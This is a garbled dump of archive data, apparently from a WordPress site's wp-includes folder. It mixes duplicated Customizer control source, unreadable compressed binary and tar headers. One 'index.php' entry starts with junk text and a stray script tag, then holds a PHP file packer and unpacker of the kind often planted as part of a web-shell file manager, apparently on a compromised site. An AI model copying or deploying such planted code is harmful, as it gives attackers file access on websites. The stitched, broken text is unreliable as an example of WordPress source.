Icon' ), 'change' => __( 'Change image' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No image selected' ), 'frame_title' => __( 'Select image' ), 'frame_button' => __( 'Choose image' ), ); default: return array( 'select' => __( 'Select file' ), 'change' => __( 'Change file' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No file selected' ), 'frame_title' => __( 'Select file' ), 'frame_button' => __( 'Choose file' ), ); } // End switch(). } } class-wp-customize-media-control.php.php.tar.gz000064400000005013150565365740015572 0ustar00ZmsHk+z֖ػecKc{@o;9e߯g$KBX*TEl3#iR)gb.Y K&ˬ/ *B"Wi,~ byǹjP~&JMs瀞?8wp~Gp HC^{k_o^~zQNtL5 MYU%jbiItl؉ץeKo+IA!+"iԵ0 [̌E_1tS4W YkNl4=`>p`XObT!;5" Bqt .d"UDLTKaƘQ#o^/^nM|y g2Җ(k,-Lz>=p>&b?Fq?.> aX8:!" aPefGY0`K?Þ*d䚡U6YBB%įfTgmGJy5#uNSphU%ͱdl;dQDa!FejQ%dZp0byJzp9g9\-ZoXXtx݊Ruu\W||`m^0n&!XrE}V^aԪR9Nɉ/fe-YͮllV[.˛wV֝<ֱ"jvC#u^Ox:=VS*g,rf{IU{Z~ͿAJ)aXxܨP#dҥF[B6]ˍgi04>Gv͑on%WL˨i $Tӭ~eMQҷp^{3`@z/Vֱ$$%x^h }'PߙF{Kt Ta"/е)}]]!BS}SUJUFl'5|?pMe(mǦδK=OъT6Wv""i\  V^n2854of.{́&Z;Oto[۵mkNt=W:B|'Mn6Ux]&5oulkUdt]-9ujBU|o]{oTߞoϷ,class-wp-customize-image-control.php.php.tar.gz000064400000001020150565365740015567 0ustar00TMo@5s%8A =TqkigwM )7h^=,6Bʍ5EXn b^&XxqY(ŜDvԄtXdJ 뼳CŬ3|E0@@^ ^ѫrȁm o/rIv 97%g~n1]9"\ ,%e-T>( ]_?{cw{^֬sMayj"Q%SBptM֮ [S[a,*Pe+9ݼ8g5w?q LKӟnr^ޠ"%Ta7zWe+&2/T"Sp{׮֭*Zuz豤4B~r+;& Q4q-3n`hV%M8m!?}1m> O%Tlp#j]QF' 2ef VlWdVr9<#Cv index.php000064400000233533150565365740006415 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } class-wp-customize-theme-control.php.tar000064400000033000150565365750014406 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/customize/class-wp-customize-theme-control.php000064400000027161150565363770026246 0ustar00json['theme'] = $this->theme; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.2.0 */ public function render_content() {} /** * Render a JS template for theme display. * * @since 4.2.0 */ public function content_template() { /* translators: %s: Theme name. */ $details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' ); ?> <# if ( data.theme.active ) { #>
<# } else { #>
<# } #> <# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
<# } else { #>
<# } #>
<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #> <# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>

' . __( 'Update now' ) . '' ); } ?>

<# } else { #>

<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } else if ( ! data.theme.updateResponse.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } #>

<# } #> <# } #> <# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>

<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } else if ( ! data.theme.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } #>

<# } #> <# if ( data.theme.active ) { #>

{{ data.theme.name }}

'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else if ( 'installed' === data.theme.type ) { #> <# if ( data.theme.blockTheme ) { #>

{{ data.theme.name }}

<# if ( data.theme.actions.activate ) { #> <# } #>
<# if ( data.theme.actions.activate ) { #> activate this theme, and use the Site Editor to customize it.' ), '{{{ data.theme.actions.activate }}}' ); ?> <# } #> 'error', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else { #>

{{ data.theme.name }}

<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } #> <# } else { #>

{{ data.theme.name }}

<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
<# } #>
A)<=դ>Eg0cg=%~ed!g170O1ͺ6z/~@(۷iW])Bfyzi`0/k"gD*Cq &zCEGR=!Cb-%0^HG)H w7+8_%X0 p]2apa=C3R.Qqf+4[@gH7-fPXIy G)N %&1J]pKfr7yBML_t{XVA8dUE/*LIraʩ5h򾷪oo^׉lCLzڇ"\Y,A5 u>AǢ=<)AI3Nk"&I8GqUBjjI-AéO9StF=yr4u_PTiGݍ̈sj!yDr6z0L·*#{!lkh M`-vsmJ-6Rva _o /i6Wl[!@p5~C"xwW_JBp-jaZ_oqk&ܹuԙeT_e+̍n.m]tfOed69l; ğ/( aITXRmu w=rQC[jirQ\Ho7}4:!S7Z+*-v ytA dsH0FZSTxЬ^VfX J7WBnҼ[]Q8l`XXY!;.wU*6Ò~VsM-UGsJԾ~V|ke.͕b$14iB!/Fx,qZqy!PzѺ0OlG'3Z(Pĉ$2i=_S,U)AHPHd -C0P,(Ŭ\>cB]zޒUsF7աv֝`[t1@r6{5z-7ݷ n^؏qoL\Z{;[+$[UՖn{3vg[I,k+WywK5yb p Zٯ,]3w4JGqݧ{O<9[jǽgV]v껫/>˝Η=nO!6class-wp-customize-image-control.php.tar000064400000006000150565365760014367 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/customize/class-wp-customize-image-control.php000064400000002273150565364050026213 0ustar00json['theme'] = $this->theme; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.2.0 */ public function render_content() {} /** * Render a JS template for theme display. * * @since 4.2.0 */ public function content_template() { /* translators: %s: Theme name. */ $details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' ); ?> <# if ( data.theme.active ) { #>
<# } else { #>
<# } #> <# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
<# } else { #>
<# } #>
<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #> <# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>

' . __( 'Update now' ) . '' ); } ?>

<# } else { #>

<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } else if ( ! data.theme.updateResponse.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } #>

<# } #> <# } #> <# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>

<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } else if ( ! data.theme.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } #>

<# } #> <# if ( data.theme.active ) { #>

{{ data.theme.name }}

'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else if ( 'installed' === data.theme.type ) { #> <# if ( data.theme.blockTheme ) { #>

{{ data.theme.name }}

<# if ( data.theme.actions.activate ) { #> <# } #>
<# if ( data.theme.actions.activate ) { #> activate this theme, and use the Site Editor to customize it.' ), '{{{ data.theme.actions.activate }}}' ); ?> <# } #> 'error', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else { #>

{{ data.theme.name }}

<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } #> <# } else { #>

{{ data.theme.name }}

<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
<# } #>
A)<=դ>Eg0cg=%~ed!g170O1ͺ6z/~@(۷iW])Bfyzi`0/k"gD*Cq &zCEGR=!Cb-%0^HG)H w7+8_%X0 p]2apa=C3R.Qqf+4[@gH7-fPXIy G)N %&1J]pKfr7yBML_t{XVA8dUE/*LIraʩ5h򾷪oo^׉lCLzڇ"\Y,A5 u>AǢ=<)AI3Nk"&I8GqUBjjI-AéO9StF=yr4u_PTiGݍ̈sj!yDr6z0L·*#{!lkh M`-vsmJ-6Rva _o /i6Wl[!@p5~C"xwW_JBp-jaZ_oqk&ܹuԙeT_e+̍n.m]tfOed69l; ğ/( aITXRmu w=rQC[jirQ\Ho7}4:!S7Z+*-v ytA dsH0FZSTxЬ^VfX J7WBnҼ[]Q8l`XXY!;.wU*6Ò~VsM-UGsJԾ~V|ke.͕b$14iB!/Fx,qZqy!PzѺ0OlG'3Z(Pĉ$2i=_S,U)AHPHd -C0P,(Ŭ\>cB]zޒUsF7աv֝`[t1@r6{5z-7ݷ n^؏qoL\Z{;[+$[UՖn{3vg[I,k+WywK5yb p Zٯ,]3w4JGqݧ{O<9[jǽgV]v껫/>˝Η=nO!6PK-z6;н$lːtݰ>Jsð CD~HIlc8(R2MM:6_0:)&*j"Y^z+˒zzx;MiOvvz7%A9<:FpVή.*ZWx]R}zvٍ5ZJSۉ#?A=Ћ{qkɸn$4 D@JB!!*h4`pzDeNDzS$ Y:^>XFY,&9k=-mݛפ".Viͥ_DlNkr -m8B0f QZ= êGFDf\;XNn9?nA7u]}!4FD"k%kTr0d{-̖LrKV1[r2N)Ki- tyPxޏeU~pF.DӶ9)naٍc- 9|F,-iAnN@G^[B!$==޽x4NOP"mR8.6o) 7ʝNԤ0#6F#yN5Aj˛"uJr *c9,8k6ocn]@>gE"cw|ߵ}k;6Jpo!u2<#rf/0X:ӌ PsM<#B,5-;0蕦hq,=l;:LJIS8B{q|y;%{mPK yVV@[^[c/y7<]gW=zo_^=ܮSI&*DYH4!nLGGx \DuZ esM["ulX7c^@1>{9/UY<^Eb`VӨ0@=]Di)~Ue*/No +PVPP@Q/@^_\%awc˨Jn$߅#Vi4WyAJ5)JJFۈKI &KX$K1rN7%$ )慌&E fzIP8d"өI"IC$&@UdY,'e[JD$,be^`asVl\r6:rN,$ "j" ut[[I's<"D˒R=XUh:֬6zeqЖԍ)֘uTt]y, L0)CNz= BnPP1b:XNvY !2j+QvDŽZ3P+P }]`eQä60!{Rl?i?2$y:f+٭{Э.26xƖkb66U/!6yDQAJ +*MP_~[Xr)@V B9䲟'*u)^~Krdz#W?8s[#f-}2.?+2|7(Eduq fs'7-1Zy5M|{Ctjb:xS/ѵO^ٜNùfƍ€A־؇v0Hb$rUݎ̶6t}DÊuGGC \1{{; z2\FjbRS+"Znp9fI|)m {|=D,0 51QX a^$ h C| W+B @e-k`zRq&Ltik7=t Y4*iWC,!%#1gKYZޖcCil !!¹6-ؚͅ.6{s_]Tqĝغ0$3;̀!+PV}~B~ES wx+p}jYv-_,NPjɫ>8H { 6Ok86jTw, <)u()'I3ymFO1VK{ǤQip BsY[}@kC0 3iwf[m!Qb<) E]0FSnYW!9K0i"qcҰPŽñU]aNP:>5lͣZ zпTkFGZ)h22Bfe]H2(OGLaZOv%@[kUP Xxc 'fW\_*FvTLxazz1aaڝ]"4571WѦ%E愃0&Ɇfbr$¥%CRRN|VA9j^&Ę$E)JhƈKU_[SHRa~#mŧOfզqL,p"a~^ݏe PXQsqJB%J,|qMȭ0sĈ SG30{/SG׋Q2(p)K9?bS޿TwhO2/ 2!8Jsb< dצ`z\y *4^ʪExzŒ8̬8<ۺ siN *PujI\@0(XDІyAŭ^+e ;ēXd-IjC.>\TcUycJ1l`v\% K4gV vETBMiN[ac,BNh{{ibٽ(IL]mH[7>+#=9CNLRI&#Èu^\G}Y*^#71ųhs2a o{)}Qk*{<ے`)4 +U%;F" _<a"q"eF!Ndӝ=/WZ 1ȓȦ,Y9Z--@ܢHu6XQ75:Wj>eu:MgK`oaۖ 5#HSRi&6HAV[-,#4ѿЈޥ AFx*&P}8&ש(' z60΍ujdK|*YuoHUt{!,g 8[R&ۯ7Z dWBϬ!I,Ay˫mH;us*T3O=DUA&uy?J۱$zʀN)o_3)sȔ_7יlrj <a! o M3:)$.Tu\UDnG&zTn@pdu*3hF<,3ugJ@ EJ.8_82}w}6w<Ӈ" qD_HSF^l:ߓ H]f뙚:AüSq3WI2e;#U͂gcphpjfb}Mh`![_ P5pʯA6P[]:-]R2i^0l‚%2^@ouc7Dۓ23Tdl%8vE+i|+i{Pp! qvΈX JA#*^atH[,À0&\܍&NThNvBIu"BWT72bP1HPN~0ŬF2ېn"]Yl61.P8L1iDUҼ8VaY/ cUNI{WZѥ IKhaAș<(WC4Ю<E UxQc#EJTS37]dP-{Rt06|E7j:ljolO7AocK[cîzFGOK'(wyt=C;/BUNP3%Oo|4.@1c?`nV}6['!N"*e#>.uƀ[ O Lf^,i]GoKCs/3KIZWT!IރOGj0uf<#75Y!hW9,.WVƁ\ZG.޸hCoRCwI oʏZН#w?}j_#)Wa7YT{ `*Ԑ|6PCkgX3aEv-&u55dC =ϕ_K˘y&>ئb,zQ{wkwoKc"qWk#-ߥPG.m;GJo`+ 9O?7O* Ϋt+;xVb5u 6G;mUuU擙;}5>D1R]#ILQ1rM1%C1Nq$9RͰ;Mqr\bf]/b>_R=~ć"өuoQ^:8f4Xr{ QyU,|́`z55]*v\WH:;+ќ6 'ͽKtѿCg: KЌ!;?])Ӯ%#8@&D-GbhH֟b=1ڴ{ߍ3dm;*6eBx'c3ݩ?~ttPPK=m%[%{m+class-wp-customize-new-menu-section.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/customize/class-wp-customize-new-menu-section.php000064400000003235150565370350026647 0ustar00
    • ]ova.tarnu[PK:m%[O!66(uclass-wp-customize-theme-control.php.tarnu[PK;m%[MB  /class-wp-customize-theme-control.php.php.tar.gznu[PK